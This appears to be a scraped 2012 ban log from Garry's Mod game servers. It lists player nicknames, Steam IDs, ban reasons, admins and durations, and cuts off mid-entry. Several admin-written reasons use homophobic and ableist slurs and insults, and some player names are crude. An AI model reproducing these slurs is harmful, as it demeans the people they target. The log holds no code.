Kommand Trouble in Terrorist Town Permanent Banned +12:13 am 05-05-12 Unknown STEAM_0:1:40407825 Cheat: hh (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:6059942 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:29971267 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30411341 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:37220271 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:37311111 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:49009808 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:21760599 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:18488836 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30051971 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:27209687 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:42055458 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:29784969 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:47574863 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:12110199 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:32971824 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:45036640 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:13789991 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:47585786 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:31629013 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:24857790 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:20928928 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:38456959 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:27362367 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:20546481 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:32979564 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:32723575 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:20027677 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:22010666 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:10089448 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:25999084 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:23645529 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:26177708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:15978572 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:30622959 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:10795659 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:8836134 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:1:27936486 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:20497785 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:25309195 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:47607534 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 am 05-05-12 Unknown STEAM_0:0:45119049 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:03 am 05-05-12 Unknown STEAM_0:1:47326473 Base delete during +faction war +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap ++10 Zombified World 2:18:40 Unbanned +11:59 pm 04-05-12 Unknown STEAM_0:0:45790215 Leaveing during +faction war +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap ++10 Zombified World 2:10:20 Unbanned +9:57 pm 04-05-12 DickHead30 STEAM_0:0:48545435 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:0:0 Unbanned +6:34 pm 04-05-12 +[SP]+ ULTRA STEAM_0:0:10087476 Noob +[SP]+ ULTRA +Official Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +12:20 am 04-05-12 Unknown STEAM_0:1:24724241 Absolute faggot. +Nemesis Fretta|Tigergruppe Kommand The Stalker Permanent Banned +11:55 pm 03-05-12 JoniSkewl STEAM_0:1:30693743 Racism Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:47 pm 02-05-12 Koopa Man STEAM_0:1:32552361 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:33 pm 02-05-12 PoopfaceMc'Gee STEAM_0:0:17495156 Perma for RDM and +racism Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:53 pm 02-05-12 Elly.poos STEAM_0:1:47248552 Racism Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:28 pm 02-05-12 Ron Paul Revolution STEAM_0:0:41336260 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:01 pm 01-05-12 NXG Slight [Slight's Family] STEAM_0:0:44177234 +RDM Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:40 am 01-05-12 Unknown STEAM_0:1:27978990 Aboooose in many ways +Llixo Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 +Unbanned +9:39 am 01-05-12 Sozdatelenator STEAM_0:0:40468303 Exploiting in +several ways Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +12:12 am 01-05-12 «uT»Ldr.Nick STEAM_0:1:21515596 to young to be +here MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:26 pm 29-04-12 The John Stone STEAM_0:1:8284920 Come back when you +stop bullshitting Llixo Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +7:17 pm 29-04-12 mickyman007 STEAM_0:1:42991614 Mic-spam, Mass-RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 41:16:0 Unbanned +6:47 pm 29-04-12 Clit Commander STEAM_0:0:22030218 Abooooosing +faction rules Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +6:46 pm 29-04-12 â??Smaxed STEAM_0:1:20571603 Tard Llixo Official +Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +4:18 pm 29-04-12 Unknown STEAM_0:0:40282348 try it +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +3:19 pm 29-04-12 Triumph STEAM_0:1:1900518 Dick Aion +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +3:13 pm 29-04-12 +[SP]+ Juze STEAM_0:1:30321442 ASKED FOR IT... ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 1:1:0 Unbanned +1:40 pm 29-04-12 Lord Nelson STEAM_0:1:24945665 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +69:10:39 Banned +11:53 pm 28-04-12 ^4[SG]^9File*^1Gamers ^3The Lol STEAM_0:0:40108897 +Bed killing +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Deathrun 0:2:20 Unbanned +11:48 pm 28-04-12 im a brony STEAM_0:1:35727229 Speedhack +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival +Permanent Banned +9:30 pm 28-04-12 |E|F| Dragon - Muncher STEAM_0:0:34706032 prop +pushing Llixo Official Zombified World|Lvl Cap +10 Zombified World +0:16:40 Unbanned +3:55 pm 28-04-12 Unknown STEAM_0:1:41507766 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:18 pm 28-04-12 ZuffeRZ <3 ;) STEAM_0:1:23301187 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:03 am 28-04-12 potato chip STEAM_0:0:31978204 faction exploiting! +good day sir! Llixo Official Zombified World|Lvl Cap +10 Zombified +World 6:22:40 Unbanned +12:52 am 28-04-12 Unknown STEAM_0:0:39809279 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +10:54 pm 27-04-12 Turtle STEAM_0:1:37698064 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:02 pm 26-04-12 Weenie STEAM_0:0:42778090 Mass RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 9:17:20 Unbanned +7:46 pm 26-04-12 Zombie killer 30000 STEAM_0:1:37115249 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +6:50 pm 26-04-12 Luka_pl666 STEAM_0:0:43221494 RDM, Detective, etc ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 41:16:0 Unbanned +6:40 pm 25-04-12 xD IsAaCdObO xD STEAM_0:0:41228426 Multi-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:15:0 Unbanned +6:03 pm 25-04-12 Ð?Ð?Ð?СТРÑ?ка^_^ STEAM_0:1:50987179 Mass-RDM ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:0 Unbanned +5:25 pm 25-04-12 joshep kony<3 STEAM_0:1:31477346 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +41:16:0 Unbanned +10:23 pm 24-04-12 Sm1LeZ STEAM_0:0:29252577 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:49 pm 24-04-12 Unknown STEAM_0:1:37698064 rdm then left and mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:24 pm 24-04-12 [TW]Camper STEAM_0:0:36032059 Prop Breaking +[SP]+ +Danzomanzo Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +7:24 pm 23-04-12 Max13madify STEAM_0:0:45615489 bye MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +7:03 pm 23-04-12 Wallroux STEAM_0:1:13345181 Multiple RDMing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:58 pm 23-04-12 Unknown STEAM_0:0:36629966 ass MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:55 pm 23-04-12 whiteyed STEAM_0:0:39510368 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:49 pm 22-04-12 Black-Man-cer STEAM_0:0:45816759 Alt of banned ID +STEAM_0:1:26949104 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +9:16 pm 22-04-12 []-S.G-[] Cromwel [GS] STEAM_0:1:14282857 Base +Exploiting +[SP]+ Gearyâ?¢ Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +11:36 pm 21-04-12 KingJames627 STEAM_0:1:32256280 Stealing weapons in +a Faction BR Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +6:02 pm 21-04-12 Hazasp700 STEAM_0:0:26576328 RDM somewhere else +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +5:21 pm 21-04-12 Unknown STEAM_0:0:39140000 Mass +RDM,Retard,Harassing,Disrespect +[SP]+ Anime Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 20:20:0 Unbanned +3:46 pm 21-04-12 strebkova201 STEAM_0:0:39021114 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:20 Unbanned +2:14 pm 21-04-12 Unknown STEAM_0:0:23236793 Team Killing RDM then +leaving Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +2:22 am 21-04-12 |K.S.O|Kombi-Epic STEAM_0:0:44473083 rejoin and +afk? +[SP]+ Mindtwistah Killa's Zombie Survival Server Zombie +Survival 0:0:10 Unbanned +1:31 am 21-04-12 Unknown STEAM_0:1:43790420 massive RDM... +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:1:0 Unbanned +9:39 pm 20-04-12 Max13madify STEAM_0:0:45615489 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:22 pm 20-04-12 It'smeplayer STEAM_0:1:18241697 RDM, not answering +admin +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:55 pm 20-04-12 ТаÐ?иÐ?Ñ?Ð?иÐ? STEAM_0:1:49859109 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +6:19 pm 20-04-12 DreamøZ STEAM_0:0:48554545 Teamkilling as T +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:08 pm 20-04-12 Unknown STEAM_0:1:34426124 Retarded complainer who +needs to learn some manners Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +10:16 pm 19-04-12 Unknown STEAM_0:0:21850902 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:12 pm 19-04-12 Unknown STEAM_0:1:27776991 Base Deletion during +war +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +7:10 pm 19-04-12 FlaiN ERROR STEAM_0:0:38119366 Mass-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +3:50 pm 19-04-12 Unknown STEAM_0:1:47473786 RDM + Discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 pm 18-04-12 thomascunningham2009 STEAM_0:1:49281921 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +5:37 pm 18-04-12 stinky999 STEAM_0:0:47558905 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:14 am 18-04-12 Nigerian Prince of Nigeria STEAM_0:0:13380406 My +finger slipped. +[SP]+ Kaede Official Zombified World|Lvl Cap +10 +Zombified World 41:16:0 Unbanned +10:16 pm 17-04-12 HappyLlama STEAM_0:1:19684916 Triple RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:13 pm 17-04-12 Mcblocky STEAM_0:1:40249775 Constant TKing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:00 pm 17-04-12 Unknown STEAM_0:1:27536502 RDM then leaving Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:18 pm 17-04-12 ^8T^2-Claw-^8|^2VaPz^8znw STEAM_0:1:26056353 Spam ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Gamemaster Permanent Banned +2:20 pm 17-04-12 007 STEAM_0:1:39213048 Rdming on many occasions, not +responding to admin +[SP]+ Marked One [SK] Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:52 am 17-04-12 Unknown STEAM_0:0:24771801 Ban Request. Massive +RDM Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:0:0 Unbanned +9:09 pm 16-04-12 Alpha Ducky STEAM_0:0:49068934 Being a fuck tard +Aion Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +9:01 pm 16-04-12 Terkoiz STEAM_0:0:30912188 Propkilling +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +7:47 pm 16-04-12 (G*) The Other Guy STEAM_0:0:8291384 Mic +spamming Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +5:20 pm 16-04-12 Nøjléz STEAM_0:1:8565867 Mass RDM again. Final +warning. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Deathrun +7:0:0 Unbanned +5:11 pm 16-04-12 Unknown STEAM_0:1:29381129 RDMing +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:14:20 +Unbanned +3:35 pm 16-04-12 Myd (russ,fr) STEAM_0:1:17459331 Alt of banned ID +STEAM_0:1:35017108 (Console) Killa's Zombie Survival Server Zombie +Survival 2:21:26 Unbanned +1:08 pm 16-04-12 $@1@/\/\ STEAM_0:0:24652956 Trolling +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +1:08 pm 16-04-12 Captain STEAM_0:0:7406315 Then you can have a ban if +you enjoyed it so much Aion Killa's Zombie Survival Server Zombie +Survival Permanent Unbanned +1:08 pm 16-04-12 KonnA^[danG] STEAM_0:1:9783262 See you in 10 +days Aion Killa's Zombie Survival Server Zombie Survival 1:0:0 +Unbanned +1:01 pm 16-04-12 Fluxy-Dog STEAM_0:1:35017108 Don't be afk the whole +time. Azureus Killa's Zombie Survival Server Zombie Survival 3:0:0 +Unbanned +1:18 am 16-04-12 The Noob STEAM_0:0:22463649 RDM and working with a T +as inno MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:2:0 Unbanned +1:05 am 16-04-12 HappyLlama STEAM_0:1:19684916 shhh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +1:01 am 16-04-12 Unknown STEAM_0:0:46227338 same MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:59 am 16-04-12 HolyFlyingJesus!!! STEAM_0:0:23650481 troll MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +12:51 am 16-04-12 A rock named LAGAX STEAM_0:1:42854549 that should +cover a round or 2 MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:20 Unbanned +8:29 pm 15-04-12 Death Fox STEAM_0:0:22486936 Multiple-RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +6:52 pm 15-04-12 [TG] You don't say? STEAM_0:0:22571085 Factional +exploiting and general douche bag Llixo Official Zombified World|Lvl +Cap +10 Zombified World 1:9:20 Unbanned +2:32 pm 15-04-12 {NaN}Tws}AssassinSpy STEAM_0:1:10650982 You are now +banned for continuing Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 10:0:0 Unbanned +10:19 pm 14-04-12 [KSG] Zilenan91 STEAM_0:0:9888611 Buying and +dumping ammo Llixo Official Zombified World|Lvl Cap +10 Zombified +World 1:9:20 Unbanned +9:04 pm 14-04-12 christianburrell STEAM_0:0:45790215 Faction +exploiting spawn Llixo Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +8:43 pm 14-04-12 Lord Nelson STEAM_0:1:24945665 RDM Low karma +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:24 pm 14-04-12 Unknown STEAM_0:0:33348017 Rdm and leave. You +fuck. Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 13:21:20 Unbanned +12:18 pm 14-04-12 Í¡ °_̯͡ ° shurik=) STEAM_0:1:16466131 mass rdm ++ retarded +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +12:18 pm 14-04-12 [F2B] AssassinJordy [PRO.NL] STEAM_0:0:38877370 +mass rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:11 pm 14-04-12 [F2B] Titon_Ruler STEAM_0:1:48263552 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:10 pm 14-04-12 [F2B] â?ªÂ£Ð?aiohâ?ª STEAM_0:1:6815546 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:09 pm 14-04-12 [F2B] PENUTTBUTTER STEAM_0:1:37291217 mass rdm + +cunt +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +11:27 am 14-04-12 Unknown STEAM_0:1:5043122 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:42 am 14-04-12 â??â??â??â?? â?£ Cá´?É´á´?á´?ɪ STEAM_0:1:36186168 +change your name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Deathrun 0:0:1 Unbanned +3:14 am 14-04-12 ChazyChap STEAM_0:0:6165790 Your move Spellknite +Fretta|Tigergruppe Kommand Deathrun 0:6:0 Unbanned +9:23 pm 13-04-12 MODDED CLuTcHv3 STEAM_0:1:43558496 RDM. Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:21 pm 13-04-12 soned STEAM_0:0:38454171 Illegal Basespawn, banned +for 1000 minutes +[SP]+ Kaede Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +4:12 pm 13-04-12 Sylux STEAM_0:1:24692556 fuck off MAD MANN +Fretta|Tigergruppe Kommand Prop Hunt 0:1:0 Unbanned +1:56 pm 13-04-12 Unknown STEAM_0:0:26576036 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:51 pm 13-04-12 Unknown STEAM_0:0:34435223 mass rdm then left also +your karma was shit! +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 4:20:40 Unbanned +9:27 pm 12-04-12 Unknown STEAM_0:1:26448145 Grim Jam +Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +3:46 pm 12-04-12 KOMENTAJAKOISTINEN STEAM_0:1:18004550 rdming as +the D +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +2:02 am 12-04-12 Ichigo STEAM_0:0:44325449 Nice shot Spellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:0 Unbanned +1:49 am 12-04-12 Héadless Lemon-ception STEAM_0:1:11767583 mic +spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +12:54 am 12-04-12 Rocket Man STEAM_0:1:13469390 Either very retarded +or troll Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:20 Unbanned +10:10 pm 11-04-12 Explosive Sandvich STEAM_0:0:47215367 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:08 pm 11-04-12 Unknown STEAM_0:1:26448145 +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:41 pm 11-04-12 Nøjléz STEAM_0:1:8565867 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:35 am 11-04-12 I Rape Waffles STEAM_0:1:26448145 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 +Unbanned +12:49 am 11-04-12 El Guapo STEAM_0:0:26269320 rdming as D rdming +before and cock +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +3:31 pm 10-04-12 [GStrom] jorma STEAM_0:0:49184346 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:20 pm 10-04-12 lolsama STEAM_0:1:12306664 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +2:42 pm 10-04-12 Wraithguy STEAM_0:0:37493403 Come back when you +learn how to play ttt Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +2:33 pm 10-04-12 Griaule STEAM_0:1:26142713 I banned you, you should +leave Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:35 pm 10-04-12 Ð?Ð?-Ð?Ð?-Ð?Ð?Ð?-Ð?Ð? STEAM_0:0:46746837 come back +with a real name and don ' t mic spam +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +9:25 am 10-04-12 _NewBee STEAM_0:1:47971528 Alt of banned ID +STEAM_0:0:19441588 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +2:03 am 10-04-12 +[SP]+ Hatcake STEAM_0:0:22843745 Spamming anti +admin propaganda/faggot Spellknite Fretta|Tigergruppe Kommand The +Stalker 0:0:1 Unbanned +1:35 am 10-04-12 +[SP]+ Hatcake STEAM_0:0:22843745 Spamming anti +admin propaganda/faggot Spellknite Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:1 Unbanned +2:26 am 09-04-12 HALLOKITTIE STEAM_0:1:37077624 RDM,low karma +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +12:32 am 09-04-12 Unknown STEAM_0:0:27928204 rdm, been karma kicked +before, left, troll made shit up too : ) +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:24 am 09-04-12 Private Idaho STEAM_0:0:5111663 glitching +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:55 pm 08-04-12 Unknown STEAM_0:0:47420120 TKing asshole MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:40 +Unbanned +6:51 pm 08-04-12 The Beast STEAM_0:1:21155950 Goodbye. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:51 pm 08-04-12 purek_dickhead STEAM_0:1:14939351 Spellknite +Fretta|Tigergruppe Kommand Trouble in 